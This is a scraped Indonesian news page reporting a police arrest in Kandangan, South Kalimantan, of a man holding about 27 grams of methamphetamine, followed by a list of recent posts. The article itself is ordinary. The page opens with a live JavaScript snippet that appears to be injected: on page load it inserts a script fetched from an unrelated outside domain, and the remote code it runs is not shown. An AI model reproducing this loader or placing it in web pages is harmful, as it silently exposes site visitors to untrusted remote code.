(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

N Warga Baluti Kedapatan Simpan 27 Gram Sabu


KANDANGAN, Polres HSS berhasil mengamankan seorang pria pengedar sabu di Jalan Banyu Barau, Kelurahan Kandangan Barat, Kecamatan Kandangan Kabupaten HSS, Minggu (17/6) sekitar pukul 21.00 Wita

Pelaku diketahui bernama N (48) warga Jalan Kesehatan RT 001/001 Desa Baluti, Kecamatan Kandangan, Kabuapten HSS.

Kasat Narkoba Polres HSS AKP Jatmika SH MH menuturkan, penangkapan tersebut bermula saat pihaknya menerima lanjutan informasi dari masyarakat yang mana pelaku diketahui mengedarkan Narkotika jenis sabu.

“Informasi lanjutan dari masyarakat, bahwa ada seorang pria yang diduga menjadi pengedar narkotika jenis sabu” tuturnya.

Menanggapi informasi tersebut, dengan gerak cepat Anggota Sat Resnarkoba yang di-back up oleh Unit Jatanras dan Kanit Intelkam Polsek Angkinang berhasil mengamankan pelaku di rumah tempat tinggalnya. Setelah berhasil mengamankan pelaku, kemudian Personil melakukan pemeriksaan dan di temukan 1 paket besar Narkotika jenis Sabu dengan berat kotor 15,72 gram yang dibalut menggunakan gumpalan plastik dan lakban yang dimasukkan ke dalam dompet warna hitam, dibungkus menggunakan kotak rokok. N menaruh barang bukti di bawah westafel rumah tempat tinggal pelaku.

Selain itu personil kembali menemukan 2 paket sedang Narkotika jenis sabu seberat  7,55 gram yang diletakan pelaku di atas tempat tidur dibalik seprai dan 7 paket kecil seberat 4,00 gram disembunyikan oleh pelaku di tempat peralatan mandi.

“Pelaku ini pemain baru, baru saja berjualan sabu tersebut. Berdalih latar belakangi keadaan ekonomi yang mendesak,” tambahnya.

Atas penangkapan tersebut pihak kepolisian berhasil mengamankan barang bukti jenis Narkotika jenis sabu dengan berat kotor keseluruhan 27,27 gram.

Kapolres Hulu Sungai Selatan AKBP Rahmat Budi Habdoko SIK mengatakan untuk pelaku sendiri akan dikenakan pasal belapis. “Pelaku akan dijerat dengan pasal 114 jo 112 UU RI No.35 tahun 2009 tentang narkotika dengan ancaman hukuman minimal 4  tahun penjara dan maksimal seumur hidup,” pungkasnya. (rico)

Reporter:Rico
Editor : Abi Zarrin Al Ghifari

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

10 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

13 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

13 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

15 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

17 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

18 jam ago

This website uses cookies.